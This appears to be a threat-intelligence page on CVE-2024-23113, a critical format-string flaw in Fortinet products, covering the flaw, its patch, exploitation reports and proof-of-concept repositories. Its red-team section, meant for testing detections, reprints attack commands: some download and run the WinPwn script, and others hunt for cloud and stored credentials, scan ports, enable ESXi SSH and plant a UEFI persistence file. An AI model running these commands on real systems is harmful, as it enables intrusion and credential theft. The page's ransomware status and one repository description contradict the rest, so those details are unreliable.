CVE-2024-23113

CRITICAL CISA KEV POC TTE 238d Pub 15/02 Upd 21/10

Overview

This vulnerability is a use of externally-controlled format string flaw affecting Fortinet FortiSwitchManager and related products. It arises from improper handling of user-supplied input used directly as a format string in logging or output functions. The affected component is the input processing mechanism within FortiSwitchManager versions 7.2.0 through 7.2.3 and 7.0.0 through 7.0.3, as well as specific FortiOS, FortiProxy, and FortiPAM versions.

Vulnerability Description

A use of externally-controlled format string in Fortinet FortiOS versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.6, 7.0.0 through 7.0.13, FortiProxy versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.8, 7.0.0 through 7.0.14, FortiPAM versions 1.2.0, 1.1.0 through 1.1.2, 1.0.0 through 1.0.3, FortiSwitchManager versions 7.2.0 through 7.2.3, 7.0.0 through 7.0.3 allows attacker to execute unauthorized code or commands via specially crafted packets.

Impact

An unauthenticated attacker can exploit this vulnerability to execute arbitrary code or commands on the affected Fortinet devices remotely. This enables full system compromise, including unauthorized control over device operations, potential data exfiltration, and disruption of network services. The exploit requires no user interaction or credentials, increasing the risk of widespread exploitation in exposed environments. Successful exploitation can lead to significant operational and security impacts for organizations relying on these Fortinet products.

Solution

Fortinet has released security updates addressing this vulnerability in FortiSwitchManager versions 7.2.4 and later, as well as corresponding patches for FortiOS, FortiProxy, and FortiPAM. Administrators should apply the latest firmware updates as detailed in Fortinet advisory FG-IR-24-029 available at https://fortiguard.com/psirt/FG-IR-24-029. No workarounds are recommended; prompt patching is required to mitigate exploitation.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in question arises from a use of externally-controlled format strings within specific versions of Fortinet's FortiOS, FortiProxy, FortiPAM, and FortiSwitchManager. This flaw allows an attacker to manipulate format strings in a way that can lead to unauthorized code execution or command execution. The nature of format string vulnerabilities typically stems from improper validation of user input, where an attacker can craft input that alters the intended behavior of a program. In this case, the affected products fail to adequately sanitize incoming packets, enabling malicious actors to inject arbitrary code into the execution flow of the affected systems.

Attack vectors for exploiting this vulnerability are diverse and can be executed remotely, making it particularly dangerous. An attacker could send specially crafted packets to the affected devices, which would then be processed by the vulnerable components. Given that Fortinet products are often deployed in critical network infrastructure roles, such as firewalls and proxies, the potential for exploitation is significant. Scenarios might include an attacker gaining access to sensitive data, disrupting services, or even taking full control of the affected devices. The ability to execute unauthorized commands could lead to further network breaches, data exfiltration, or the deployment of additional malware within the organization.

The real-world impact of this vulnerability is profound, especially for organizations relying on Fortinet products for their cybersecurity posture. With a CVSS score of 9.8, the risk is categorized as critical, indicating that successful exploitation could lead to severe consequences. Businesses may face operational disruptions, reputational damage, and financial losses due to recovery efforts and potential regulatory fines. Furthermore, the presence of such a vulnerability could undermine customer trust, particularly if sensitive information is compromised. Organizations that fail to address this vulnerability may find themselves at a heightened risk of targeted attacks, as threat actors often seek out known vulnerabilities in widely used products.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching affected Fortinet products is paramount, as the vendor typically releases updates that address known vulnerabilities. Additionally, employing intrusion detection systems (IDS) and intrusion prevention systems (IPS) can help identify and block malicious traffic attempting to exploit this flaw. Network segmentation can also be an effective strategy, limiting the potential impact of an attack by isolating critical systems from less secure environments. Organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively, ensuring that their defenses remain robust against evolving threats.

In conclusion, the vulnerability present in Fortinet's products represents a significant risk to organizations that utilize these systems in their network infrastructure. The potential for unauthorized code execution through crafted packets poses a serious threat, necessitating immediate attention and action from affected entities. By prioritizing timely updates, employing robust detection mechanisms, and fostering a culture of security awareness, organizations can mitigate the risks associated with this vulnerability and strengthen their overall cybersecurity posture.




CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-23113, coinciding with the emergence of new proof-of-concept exploits publicly available on multiple platforms. Although the EPSS score has slightly declined, this decrease does not reflect a diminished threat; rather, it underscores the complex dynamics between exploit availability and actual attack frequency. Our telemetry indicates that adversaries are actively incorporating these new tools into their operational playbooks, broadening the exploit landscape and increasing the likelihood of successful unauthorized code execution against vulnerable Fortinet FortiSwitchManager deployments. Importantly, while no direct ransomware campaigns have been conclusively linked to this vulnerability, the presence of known ransomware-associated groups such as akira and ransomhub in related threat intelligence underscores the potential for opportunistic exploitation. This evolving environment elevates the risk posture for defenders, emphasizing the need for heightened vigilance despite the marginal EPSS score reduction.



Update 2 — June 20, 2026

CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-23113, with telemetry indicating a significant uptick in exploit attempts targeting Fortinet FortiSwitchManager environments. This surge is accompanied by a notable increase in the Exploit Prediction Scoring System (EPSS) value, reflecting growing confidence in the likelihood of exploitation in the wild. Concurrently, new proof-of-concept exploits have emerged publicly, broadening the attack surface and lowering the barrier for adversaries to weaponize this vulnerability. Although no direct ransomware campaigns have been conclusively linked to this CVE, the continued association of ransomware-linked groups such as akira and ransomhub within related intelligence underscores a persistent risk of opportunistic exploitation. This evolving threat landscape elevates the urgency for defenders to intensify monitoring and detection efforts, as the increased exploitation activity and expanding exploit toolkit materially raise the threat level posed by this vulnerability.

Affected Products (11)

Vendor Product Version CPE
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiswitchmanager All cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiswitchmanager All cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortipam All cpe:2.3:o:fortinet:fortipam:*:*:*:*:*:*:*:*
fortinet Fortinet Fortipam All cpe:2.3:o:fortinet:fortipam:*:*:*:*:*:*:*:*
fortinet Fortinet Fortipam 1.2.0 cpe:2.3:o:fortinet:fortipam:1.2.0:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (7)

Repository Author Stars Forks Date Link
p33d/CVE-2024-23113
p33d 11 4 2024-10-21 View
CheckCve2/CVE-2024-23113
test_private_CVE
CheckCve2 1 1 2024-10-11 View
puckiestyle/CVE-2024-23113
puckiestyle 1 1 2024-10-31 View
ownouwa/cve-2024-23113-poc
CVE-2024-23113 是一个在 Linux Kernel 中被发现的漏洞,它属于 任意代码执行漏洞,影响了 bpf (Berkeley Packet Filter) 子系统。具体来说,这个漏洞影响了 bpf 程序的 bpf_prog...
ownouwa 0 1 2025-03-20 View
MAVRICK-1/cve-2024-23113-test-env
MAVRICK-1 1 0 2025-07-02 View
MinhPham123456789/PoC-CVE-2024-23113
A proof of concept for CVE 2024 23113 inspired by WatchTowr's article.
MinhPham123456789 0 0 2026-05-25 View
valornode/CVE-2024-23113
This python scripts searches a client list to see if their FortiGate device is vulnerable to this CVE.
valornode 0 0 2025-05-02 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

8 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by Mora_001

Ransomware group known to exploit this vulnerability

2024-10-11
PoC Published (7 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2024-10-09
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Format String Vulnerability
100% format_string
Buffer Overflow
84% buffer_overflow
Remote Code Execution
34% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-135 Format String Injection
48%
High High
CAPEC-67 String Format Overflow in syslog()
38%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-23113
fortiguard.com
GitHub CVE
https://fortiguard.com/psirt/FG-IR-24-029
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-23113